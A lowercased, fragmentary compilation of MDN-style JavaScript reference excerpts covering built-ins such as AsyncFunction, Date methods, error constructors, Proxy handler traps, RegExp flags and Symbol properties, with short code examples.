... examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array view referring to the buffer: const buffer = new arraybuffer(8); const view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
AsyncFunction - JavaScript
it can be obtained with the following code: object.getprototypeof(async function(){}).constructor syntax new asyncfunction([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ...
...this is less efficient than declaring an async function with an async function expression and calling it within your code, because such functions are parsed with the rest of the code.
... when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the asyncfunction constructor was called.
...se(resolve => { settimeout(() => { resolve(x); }, 2000); }); } let asyncfunction = object.getprototypeof(async function(){}).constructor let a = new asyncfunction('a', 'b', 'return await resolveafter2seconds(a) + await resolveafter2seconds(b);'); a(10, 20).then(v => { console.log(v); // prints 30 after 4 seconds }); specifications specification ecmascript (ecma-262)the definition of 'asyncfunction object' in that specification.
Date.prototype.getDay() - JavaScript
the getday() method returns the day of the week for the specified date according to local time, where 0 represents sunday.
... syntax dateobj.getday() return value an integer number, between 0 and 6, corresponding to the day of the week for the given date, according to local time: 0 for sunday, 1 for monday, 2 for tuesday, and so on.
... var xmas95 = new date('december 25, 1995 23:15:30'); var weekday = xmas95.getday(); console.log(weekday); // 1 note: if needed, the full name of a day ("monday" for example) can be obtained by using intl.datetimeformat with an options parameter.
... using this method, the internationalization is made easier: var options = { weekday: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // monday console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // montag specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getday' in that specification.
Date.prototype.getMonth() - JavaScript
the getmonth() method returns the month in the specified date according to local time, as a zero-based value (where zero indicates the first month of the year).
... syntax dateobj.getmonth() return value an integer number, between 0 and 11, representing the month in the given date according to local time.
... var xmas95 = new date('december 25, 1995 23:15:30'); var month = xmas95.getmonth(); console.log(month); // 11 note: if needed, the full name of a month ("january" for example) can be obtained by using intl.datetimeformat() with an options parameter.
... using this method, internationalization is made easier: var options = { month: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // december console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // dezember specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmonth' in that specification.
Date.prototype.getYear() - JavaScript
the getyear() method returns the year in the specified date according to local time.
... because getyear() does not return full years ("year 2000 problem"), it is no longer used and has been replaced by the getfullyear() method.
... syntax dateobj.getyear() return value a number representing the year of the given date, according to local time, minus 1900.
... var xmas = new date('december 25, 2015 23:15:00'); xmas.setyear(95); var year = xmas.getyear(); // returns 95 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getyear' in that specification.
Date.prototype.toDateString() - JavaScript
calling tostring() will return the date formatted in a human readable form in english.
...sometimes it is desirable to obtain a string of the time portion; such a thing can be accomplished with the totimestring() method.
... the todatestring() method is especially useful because compliant engines implementing ecma-262 may differ in the string obtained from tostring() for date objects, as the format is implementation-dependent and simple string slicing approaches may not produce consistent results across multiple engines.
... specifications specification ecmascript (ecma-262)the definition of 'date.prototype.todatestring' in that specification.
EvalError() constructor - JavaScript
the name of the file containing the code that caused the exception linenumber optional.
... the line number of the code that caused the exception examples evalerror is not used in the current ecmascript specification and will thus not be thrown by the runtime.
... however, the object itself remains for backwards compatibility with earlier versions of the specification.
... creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
EvalError - JavaScript
the evalerror object indicates an error regarding the global eval() function.
... examples evalerror is not used in the current ecmascript specification and will thus not be thrown by the runtime.
... however, the object itself remains for backwards compatibility with earlier versions of the specification.
... creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'evalerror' in that specification.
FinalizationRegistry() constructor - JavaScript
the finalizationregistry constructor creates a finalizationregistry object that uses the given callback.
... syntax new finalizationregistry([callback]); parameters callback optional the callback function this registry should use.
... examples creating a new registry you create the registry passing in the callback: const registry = new finalizationregistry(heldvalue => { // ....
... }); specifications specification weakrefsthe definition of 'finalizationregistry constructor' in that specification.
Function() constructor - JavaScript
calling the constructor directly can create functions dynamically, but suffers from security and similar (but far less significant) performance issues to eval.
...this is less efficient than declaring a function with a function expression or function statement and calling it within your code because such functions are parsed with the rest of the code.
... // example can be run directly in your javascript console // create a function that takes two arguments, and returns the sum of those arguments const adder = new function('a', 'b', 'return a + b'); // call the function adder(2, 6); // 8 the arguments "a" and "b" are formal argument names that are used in the function body, "return a + b".
... specifications specification ecmascript (ecma-262)the definition of 'function constructor' in that specification.
Function.length - JavaScript
the length property indicates the number of parameters expected by the function.
... property attributes of function.length writable no enumerable no configurable yes description length is a property of a function object, and indicates how many arguments the function expects, i.e.
...by contrast, arguments.length is local to a function and provides the number of arguments actually passed to the function.
...*/ console.log((function(...args) {}).length); // 0, rest parameter is not counted console.log((function(a, b = 1, c) {}).length); // 1, only parameters before the first one with // a default value is counted specifications specification ecmascript (ecma-262)the definition of 'function.length' in that specification.
Function.prototype.toSource() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
... you can call tosource() while debugging to examine the contents of an object.
... examples native functions for the built-in function object, tosource() returns the following string indicating that the source code is not available: function function() { [native code] } custom functions for custom functions, tosource() returns the javascript source that defines the object as a string.
... // for example: function hello() { console.log("hello, world!"); } hello.tosource(); // results in: "function hello() { console.log(\"hello, world!\"); }" specifications not part of any standard.
Generator.prototype.throw() - JavaScript
in this case value optionally specifies the return value of the iterator.
...can be omitted when done is true.
...an error can be caught by a try...catch block as usual.
... function* gen() { while(true) { try { yield 42; } catch(e) { console.log('error caught!'); } } } const g = gen(); g.next(); // { value: 42, done: false } g.throw(new error('something went wrong')); // "error caught!" // { value: 42, done: false } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.throw' in that specification.
Generator - JavaScript
constructor this object cannot be instantiated directly.
... instead, a generator instance can be returned from a generator function: function* generator() { yield 1; yield 2; yield 3; } const gen = generator(); // "generator { }" instance methods generator.prototype.next() returns a value yielded by the yield expression.
... generator.prototype.throw() throws an error to a generator (also finishes the generator, unless caught from within that generator).
... specifications specification ecmascript (ecma-262)the definition of 'generator objects' in that specification.
InternalError - JavaScript
the internalerror object indicates an error that occurred internally in the javascript engine.
... example cases are mostly when something is too large, e.g.: "too many switch cases", "too many parentheses in regular expression", "array initializer too large", "too much recursion".
... function loop(x) { if (x >= 10) // "x >= 10" is the exit condition return; // do stuff loop(x + 1); // the recursive call } loop(0); setting this condition to an extremely high value, won't work: function loop(x) { if (x >= 1000000000000) return; // do stuff loop(x + 1); } loop(0); // internalerror: too much recursion for more information, see internalerror: too much recursion.
... specifications not part of any standard.
Intl.ListFormat - JavaScript
static methods intl.listformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale.
... intl.listformat.prototype.formattoparts() returns an array of objects representing the different components that can be used to format a list of values in a locale-aware fashion.
... const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car using formattoparts the following example shows how to create a list formatter returning formatted parts const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).formattoparts(list)); // [ { "type": "e...
...lement", "value": "motorcycle" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "bus" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "car" } ]; specifications specification intl.listformatthe definition of 'listformat' in that specification.
Math.atan() - JavaScript
because atan() is a static method of math, you always use it as math.atan(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.atan() math.atan(1); // 0.7853981633974483 math.atan(0); // 0 math.atan(-0); // -0 math.atan(infinity); // 1.5707963267948966 math.atan(-infinity); // -1.5707963267948966 // the angle that the line [(0,0);(x,y)] forms with the x-axis in a cartesian coordinate system math.atan(y / x); note that you may want to avoid using ±infinity for stylistic reasons.
... in this case, math.atan2() with 0 as the second argument may be a better solution.
... specifications specification ecmascript (ecma-262)the definition of 'math.atan' in that specification.
NaN - JavaScript
even when this is not the case, avoid overriding it.
... there are five different types of operations that return nan: number cannot be parsed (e.g.
...ueisnan(number.nan); // true however, do note the difference between isnan() and number.isnan(): the former will return true if the value is currently nan, or if it is going to be nan after it is coerced to a number, while the latter will return true only if the value is currently nan: isnan('hello world'); // true number.isnan('hello world'); // false additionally, some array methods cannot find nan, while others can.
... let arr = [2, 4, nan, 12]; arr.indexof(nan); // -1 (false) arr.includes(nan); // true arr.findindex(n => number.isnan(n)); // 2 specifications specification ecmascript (ecma-262)the definition of 'nan' in that specification.
Number.MIN_VALUE - JavaScript
property attributes of number.min_value writable no enumerable no configurable no description the min_value property is the number closest to 0, not the most negative number, that javascript can represent.
... because min_value is a static property of number, you always use it as number.min_value, rather than as a property of a number object you created.
...if the result is greater than or equal to min_value, the func1 function is called; otherwise, the func2 function is called.
... if (num1 / num2 >= number.min_value) { func1(); } else { func2(); } specifications specification ecmascript (ecma-262)the definition of 'number.min_value' in that specification.
Number.parseInt() - JavaScript
radix optional an integer between 2 and 36 that represents the radix (the base in mathematical numeral systems) of the string.
... be careful—this does not default to 10!
... if the radix is smaller than 2 or bigger than 36, and the first non-whitespace character cannot be converted to a number, nan is returned.
... specifications specification ecmascript (ecma-262)the definition of 'number.parseint' in that specification.
Number.prototype.toPrecision() - JavaScript
syntax numobj.toprecision([precision]) parameters precision optional an integer specifying the number of significant digits.
... return value a string representing a number object in fixed-point or exponential notation rounded to precision significant digits.
...ecma-262 only requires a precision of up to 21 significant digits.
...(1)) // logs '5' numobj = 0.000123 console.log(numobj.toprecision()) // logs '0.000123' console.log(numobj.toprecision(5)) // logs '0.00012300' console.log(numobj.toprecision(2)) // logs '0.00012' console.log(numobj.toprecision(1)) // logs '0.0001' // note that exponential notation might be returned in some circumstances console.log((1234.5).toprecision(2)) // logs '1.2e+3' specifications specification ecmascript (ecma-262)the definition of 'number.prototype.toprecision' in that specification.
Object.prototype.__lookupGetter__() - JavaScript
description if a getter has been defined for an object's property, it's not possible to reference the getter function through that property, because that property refers to the return value of that function.
... __lookupgetter__ can be used to obtain a reference to the getter function.
...'foo' : 'bar'; } }; // non-standard and deprecated way obj.__lookupgetter__('foo'); // (function() { return math.random() > 0.5 ?
...'foo' : 'bar'; }) specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__lookupgetter__()' in that specification.
Object.getOwnPropertyDescriptors() - JavaScript
further information about property descriptor types and their attributes can be found in object.defineproperty().
... examples creating a shallow clone whereas the object.assign() method will only copy enumerable and own properties from a source object to a target object, you are able to use this method and object.create() for a shallow copy between two unknown objects: object.create( object.getprototypeof(obj), object.getownpropertydescriptors(obj) ); creating a subclass a typical way of creating a subclass is to define the subclass, set its prototype to an instance of the superclass, and then define properties on that instance.
... this can get awkward especially for getters and setters.
... instead, you can use this code to set the prototype: function superclass() {} superclass.prototype = { // define your methods and properties here }; function subclass() {} subclass.prototype = object.create( superclass.prototype, { // define your methods and properties here } ); specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertydescriptors' in that specification.
Object.keys() - JavaScript
ments that do not natively support it, copy the following snippet: // from /docs/web/javascript/reference/global_objects/object/keys if (!object.keys) { object.keys = (function() { 'use strict'; var hasownproperty = object.prototype.hasownproperty, hasdontenumbug = !({ tostring: null }).propertyisenumerable('tostring'), dontenums = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', 'isprototypeof', 'propertyisenumerable', 'constructor' ], dontenumslength = dontenums.length; return function(obj) { if (typeof obj !== 'function' && (typeof obj !== 'object' || obj === null)) { throw new typeerror('object.keys called on non-object'); } var resu...
...lt = [], prop, i; for (prop in obj) { if (hasownproperty.call(obj, prop)) { result.push(prop); } } if (hasdontenumbug) { for (i = 0; i < dontenumslength; i++) { if (hasownproperty.call(obj, dontenums[i])) { result.push(dontenums[i]); } } } return result; }; }()); } please note that the above code includes non-enumerable keys in ie7 (and maybe ie8), when passing in an object from a different window.
... non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror.
... // in es5 object.keys('foo'); // typeerror: "foo" is not an object // in es2015+ object.keys('foo'); // ["0", "1", "2"] specifications specification ecmascript (ecma-262)the definition of 'object.keys' in that specification.
Object.prototype.propertyIsEnumerable() - JavaScript
the propertyisenumerable() method returns a boolean indicating whether the specified property is enumerable and is the object's own property.
... return value a boolean indicating whether the specified property is enumerable and is the object's own property.
...this method can determine whether the specified property in an object can be enumerated by a for...in loop, with the exception of properties inherited through the prototype chain.
...le('property'); // returns true // these return false as they are on the prototype which // propertyisenumerable does not consider (even though the last two // are iteratable with for-in) o.propertyisenumerable('prototype'); // returns false (as of js 1.8.1/ff3.6) o.propertyisenumerable('constructor'); // returns false o.propertyisenumerable('firstmethod'); // returns false specifications specification ecmascript (ecma-262)the definition of 'object.prototype.propertyisenumerable' in that specification.
Promise.any() - JavaScript
a pending promise in all other cases.
...this can be beneficial if we need only one promise to fulfil but we do not care which one does.
... const perr = new promise((resolve, reject) => { reject('always fails'); }); promise.any([perr]).catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob.
...status: ${response.status}`); } else { return response.blob(); } }) } let coffee = fetchanddecode('coffee.jpg'); let tea = fetchanddecode('tea.jpg'); promise.any([coffee, tea]).then(value => { let objecturl = url.createobjecturl(value); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); }) .catch(e => { console.log(e.message); }); specifications specification promise.any ...
handler.construct() - JavaScript
newtarget the constructor that was originally called, p above.
... interceptions this trap can intercept these operations: new proxy(...args) reflect.construct() invariants if the following invariants are violated, the proxy will throw a typeerror: the result must be an object.
... const p = new proxy(function() {}, { construct: function(target, argumentslist, newtarget) { console.log('called: ' + argumentslist.join(', ')); return { value: argumentslist[0] * 10 }; } }); console.log(new p(1).value); // "called: 1" // 10 the following code violates the invariant.
... const p = new proxy({}, { construct: function(target, argumentslist, newtarget) { return {}; } }); new p(); // typeerror is thrown, "p" is not a constructor specifications specification ecmascript (ecma-262)the definition of '[[construct]]' in that specification.
handler.get() - JavaScript
return value the get() method can return any value.
... interceptions this trap can intercept these operations: property access: proxy[foo]and proxy.bar inherited property access: object.create(proxy)[foo] reflect.get() invariants if the following invariants are violated, the proxy will throw a typeerror: the value reported for a property must be the same as the value of the corresponding target object property if the target object property is a non-writable, non-configurable own data property.
... const p = new proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; } }); console.log(p.a); // "called: a" // 10 the following code violates an invariant.
... const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: false, value: 10, writable: false }); const p = new proxy(obj, { get: function(target, property) { return 20; } }); p.a; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[get]]' in that specification.
handler.has() - JavaScript
interceptions this trap can intercept these operations: property query: foo in proxy inherited property query: foo in object.create(proxy) with check: with(proxy) { (foo); } reflect.has() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.
... a property cannot be reported as non-existent, if it exists as an own property of the target object and the target object is not extensible.
... const p = new proxy({}, { has: function(target, prop) { console.log('called: ' + prop); return true; } }); console.log('a' in p); // "called: a" // true the following code violates an invariant.
... const obj = { a: 10 }; object.preventextensions(obj); const p = new proxy(obj, { has: function(target, prop) { return false; } }); 'a' in p; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[hasproperty]]' in that specification.
RangeError - JavaScript
the rangeerror object indicates an error when a value is not in the set or range of allowed values.
... this can be encountered when: passing a value that is not one of the allowed string values to string.prototype.normalize(), or when attempting to create an array of an illegal length with the array constructor, or when passing bad values to the numeric methods number.prototype.toexponential(), number.prototype.tofixed() or number.prototype.toprecision().
... examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "carrot".') } } try { check("cabbage") } catch(error) { if(error instanceof range...
...error) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'rangeerror' in that specification.
ReferenceError() constructor - JavaScript
the name of the file containing the code that caused the exception.
...the line number of the code that caused the exception.
... examples catching a referenceerror try { let a = undefinedvariable } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.
...log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
Reflect.deleteProperty() - JavaScript
return value a boolean indicating whether or not the property was successfully deleted.
...it returns a boolean indicating whether or not the property was successfully deleted.
... it is almost identical to the non-strict delete operator.
...x') // true obj // { y: 2 } let arr = [1, 2, 3, 4, 5] reflect.deleteproperty(arr, '3') // true arr // [1, 2, 3, undefined, 5] // returns true if no such property exists reflect.deleteproperty({}, 'foo') // true // returns false if a property is unconfigurable reflect.deleteproperty(object.freeze({foo: 1}), 'foo') // false specifications specification ecmascript (ecma-262)the definition of 'reflect.deleteproperty' in that specification.
Reflect.preventExtensions() - JavaScript
return value a boolean indicating whether or not the target was successfully set to prevent extensions.
...let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed.
... reflect.preventextensions(empty) reflect.isextensible(empty) // === false difference from object.preventextensions() if the target argument to this method is not an object (a primitive), then it will cause a typeerror.
... reflect.preventextensions(1) // typeerror: 1 is not an object object.preventextensions(1) // 1 specifications specification ecmascript (ecma-262)the definition of 'reflect.preventextensions' in that specification.
Reflect.set() - JavaScript
receiver optional the value of this provided for the call to target if a setter is encountered.
... return value a boolean indicating whether or not setting the property was successful.
... examples using reflect.set() // object let obj = {} reflect.set(obj, 'prop', 'value') // true obj.prop // "value" // array let arr = ['duck', 'duck', 'duck'] reflect.set(arr, 2, 'goose') // true arr[2] // "goose" // it can truncate an array.
...let obj = {} reflect.set(obj) // true reflect.getownpropertydescriptor(obj, 'undefined') // { value: undefined, writable: true, enumerable: true, configurable: true } specifications specification ecmascript (ecma-262)the definition of 'reflect.set' in that specification.
Reflect.setPrototypeOf() - JavaScript
return value a boolean indicating whether or not the prototype was successfully set.
... examples using reflect.setprototypeof() reflect.setprototypeof({}, object.prototype) // true // it can change an object's [[prototype]] to null.
...reflect.setprototypeof(object.freeze({}), null) // false // returns false if it cause a prototype chain cycle.
... let target = {} let proto = object.create(target) reflect.setprototypeof(target, proto) // false specifications specification ecmascript (ecma-262)the definition of 'reflect.setprototypeof' in that specification.
RegExp.prototype[@@matchAll]() - JavaScript
description this method is called internally in string.prototype.matchall().
... examples direct call this method can be used in almost the same way as string.prototype.matchall(), except for the different value of this and the different order of arguments.
... let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.matchall](str); console.log(array.from(result, x => x[0])); // ["2016", "01", "02"] using @@matchall in subclasses subclasses of regexp can override the [@@matchall]() method to modify the default behavior.
... for example, to return an array instead of an iterator: class myregexp extends regexp { [symbol.matchall](str) { const result = regexp.prototype[symbol.matchall].call(this, str); if (!result) { return null; } else { return array.from(result); } } } const re = new myregexp('([0-9]+)-([0-9]+)-([0-9]+)', 'g'); const str = '2016-01-02|2019-03-07'; const result = str.matchall(re); console.log(result[0]); // [ "2016-01-02", "2016", "01", "02" ] console.log(result[1]); // [ "2019-03-07", "2019", "03", "07" ] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@matchall]' in that specification.
RegExp() constructor - JavaScript
as of es5, this can also be another regexp object or literal (for the two regexp constructor notations only).
... i (ignore case) if u flag is also enabled, use unicode case folding.
... y (sticky) matches only from the index indicated by the lastindex property of this regular expression in the target string.
... specifications specification ecmascript (ecma-262)the definition of 'regexp constructor' in that specification.
RegExp.prototype.dotAll - JavaScript
the dotall property indicates whether or not the "s" flag is used with the regular expression.
...the "s" flag indicates that the dot special character (".") should additionally match the following line terminator ("newline") characters in a string, which it would not match otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator this effectively means the dot will match any character on the unicode basic multilingual plane (bmp).
... you cannot change this property directly.
...1 = new regexp('bar.example','s'); console.log(regex1.dotall); // output: true console.log(str1.replace(regex1,'')); // output: foo example var str2 = 'bar\nexample foo example'; var regex2 = new regexp('bar.example'); console.log(regex2.dotall); // output: false console.log(str2.replace(regex2,'')); // output: bar // example foo example specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.dotall' in that specification.
RegExp.prototype.global - JavaScript
the global property indicates whether or not the "g" flag is used with the regular expression.
...the "g" flag indicates that the regular expression should be tested against all possible matches in a string.
... you cannot change this property directly.
... examples using global var regex = new regexp('foo', 'g'); console.log(regex.global); // true var str = 'fooexamplefoo'; var str1 = str.replace(regex, ''); console.log(str1); // output: example var regex1 = new regexp('foo'); var str2 = str.replace(regex1, ''); console.log(str2); // output: examplefoo specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.global' in that specification.
RegExp.prototype.multiline - JavaScript
the multiline property indicates whether or not the "m" flag is used with the regular expression.
...the "m" flag indicates that a multiline input string should be treated as multiple lines.
... you cannot change this property directly.
... examples using multiline var regex = new regexp('foo', 'm'); console.log(regex.multiline); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.multiline' in that specification.
RegExp.prototype.test() - JavaScript
(this is similar to the string.prototype.match() method.) as with exec() (or in combination with it), test() called multiple times on the same global regular expression instance will advance past the previous match.
...(regexp.prototype.exec() also advances the lastindex property.) further calls to test(str) will resume searching str starting from lastindex.
... when test() returns false, the calling regex's lastindex property will reset to 0.
... the following example demonstrates this behaviour: const regex = /foo/g; // the "global" flag is set // regex.lastindex is at 0 regex.test('foo') // true // regex.lastindex is now at 3 regex.test('foo') // false // regex.lastindex is at 0 regex.test('barfoo') // true // regex.lastindex is at 6 regex.test('foobar') //false // regex.lastindex is at 0 // (...and so on) specifications specification ecmascript (ecma-262)the definition of 'regexp.test' in that specification.
RegExp.prototype.unicode - JavaScript
the unicode property indicates whether or not the "u" flag is used with a regular expression.
...with the "u" flag, any unicode code point escapes will be interpreted as such, for example.
... you cannot change this property directly.
... examples using the unicode property var regex = new regexp('\u{61}', 'u'); console.log(regex.unicode); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.unicode' in that specification.
String.prototype.includes() - JavaScript
case-sensitivity the includes() method is case sensitive.
... for example, the following expression returns false: 'blue whale'.includes('blue') // returns false polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
... however, you can easily polyfill this method: if (!string.prototype.includes) { string.prototype.includes = function(search, start) { 'use strict'; if (search instanceof regexp) { throw typeerror('first argument must not be a regexp'); } if (start === undefined) { start = 0; } return this.indexof(search, start) !== -1; }; } examples using includes() const str = 'to be, or not to be, that is the question.' console.log(str.includes('to be')) // true console.log(str.includes('question')) // true console.log(str.includes('nonexistent')) // false console.log(str.includes('to be', 1)) // false console.log(str.includes('to be')) // false console.log(str.includes('')) // true specifications specification ...
... ecmascript (ecma-262)the definition of 'string.prototype.includes' in that specification.
String.prototype.toSource() - JavaScript
syntax string.tosource() str.tosource() return value a string representing the source code of the calling object.
... examples native function for the built-in string object, tosource() returns the following string indicating that the source code is not available: function string() { [native code] } for instances of string or string literals, tosource() returns a string representing the source code.
... this method is usually called internally by javascript and not explicitly in web code.
... specifications not part of any standard.
Symbol() constructor - JavaScript
the symbol() constructor returns a value of type symbol, but is incomplete as a constructor because it does not support the syntax "new symbol()" and it is not intended to be subclassed.
... it may be used as the value of an extends clause of a class definition but a super call to it will cause an exception.
...a description of the symbol which can be used for debugging but not to access the symbol itself.
... if you really want to create a symbol wrapper object, you can use the object() function: let sym = symbol('foo'); let symobj = object(sym); typeof sym // => "symbol" typeof symobj // => "object" specifications specification ecmascript (ecma-262)the definition of 'symbol constructor' in that specification.
Symbol.asyncIterator - JavaScript
if this property is set on an object, it is an async iterable and can be used in a for await...of loop.
... property attributes of symbol.asynciterator writable no enumerable no configurable no examples user-defined async iterables you can define your own async iterable by setting the [symbol.asynciterator] property on an object.
... yield "iteration!"; } }; (async () => { for await (const x of myasynciterable) { console.log(x); // expected output: // "hello" // "async" // "iteration!" } })(); when creating an api, remember that async iterables are designed to represent something iterable — like a stream of data or a list —, not to completely replace callbacks and events in most situations.
... specifications specification ecmascript (ecma-262)the definition of 'symbol.asynciterator' in that specification.
Symbol.for() - JavaScript
symbol.for() does also not necessarily create a new symbol on every call, but checks first if a symbol with the given key is already present in the registry.
... in that case, that symbol is returned.
... examples using symbol.for symbol.for('foo'); // create a new global symbol symbol.for('foo'); // retrieve the already created symbol // same global symbol, but not locally symbol.for('bar') === symbol.for('bar'); // true symbol('bar') === symbol('bar'); // false // the key is also used as the description var sym = symbol.for('mario'); sym.tostring(); // "symbol(mario)" to avoid name clashes with your global symbol keys and other (library code) global symbols, it might be a good idea to prefix your symbols: symbol.for('mdn.foo'); symbol.for('mdn.bar'); spec...
...ifications specification ecmascript (ecma-262)the definition of 'symbol.for' in that specification.
Symbol.match - JavaScript
this function is called by the string.prototype.match() method.
...now, if the match symbol is set to false (or a falsy value), it indicates that the object is not intended to be used as a regular expression object.
... however, if you set symbol.match to false, the isregexp check (that uses the match property) will indicate that the object is not a regular expression object.
... var re = /foo/; re[symbol.match] = false; '/foo/'.startswith(re); // true '/baz/'.endswith(re); // false specifications specification ecmascript (ecma-262)the definition of 'symbol.match' in that specification.
Symbol.toStringTag - JavaScript
property attributes of symbol.tostringtag writable no enumerable no configurable no examples default tags object.prototype.tostring.call('foo'); // "[object string]" object.prototype.tostring.call([1, 2]); // "[object array]" object.prototype.tostring.call(3); // "[object number]" object.prototype.tostring.call(true); // "[object boolean]" object.prototype.tostring.call(undefined); // "[object undefined]" object.prototype.tostring.call(null); // "[object null]" // ...
... and more built-in tostringtag symbols object.prototype.tostring.call(new map()); // "[object map]" object.prototype.tostring.call(function* () {}); // "[object generatorfunction]" object.prototype.tostring.call(promise.resolve()); // "[object promise]" // ...
... and more custom classes default to object tag when creating your own class, javascript defaults to the "object" tag: class validatorclass {} object.prototype.tostring.call(new validatorclass()); // "[object object]" custom tag with tostringtag now, with the help of tostringtag, you are able to set your own custom tag: class validatorclass { get [symbol.tostringtag]() { return 'validator'; } } object.prototype.tostring.call(new validatorclass()); // "[object validator]" tostringtag available on all dom prototype objects due to a webidl spec change in mid-2020, browsers are adding a symbol.tostringtag property to all dom prototype objects.
... for example, to acccess the symbol.tostringtag property on htmlbuttonelement: let test = document.createelement('button'); test.tostring(); // returns [object htmlbuttonelement] test[symbol.tostringtag]; // returns htmlbuttonelement specifications specification ecmascript (ecma-262)the definition of 'symbol.tostringtag' in that specification.
TypeError() constructor - JavaScript
the typeerror() constructor creates a new error when an operation could not be performed, typically (but not exclusively) when a value is not of the expected type.
...the name of the file containing the code that caused the exception linenumber optional optional.
... the line number of the code that caused the exception examples catching a typeerror try { null.f() } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" ...
...console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
TypeError - JavaScript
the typeerror object represents an error when an operation could not be performed, typically (but not exclusively) when a value is not of the expected type.
... a typeerror may be thrown when: an operand or argument passed to a function is incompatible with the type expected by that operator or function; or when attempting to modify a value that cannot be changed; or when attempting to use a value in an inappropriate way.
... examples catching a typeerror try { null.f() } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) ...
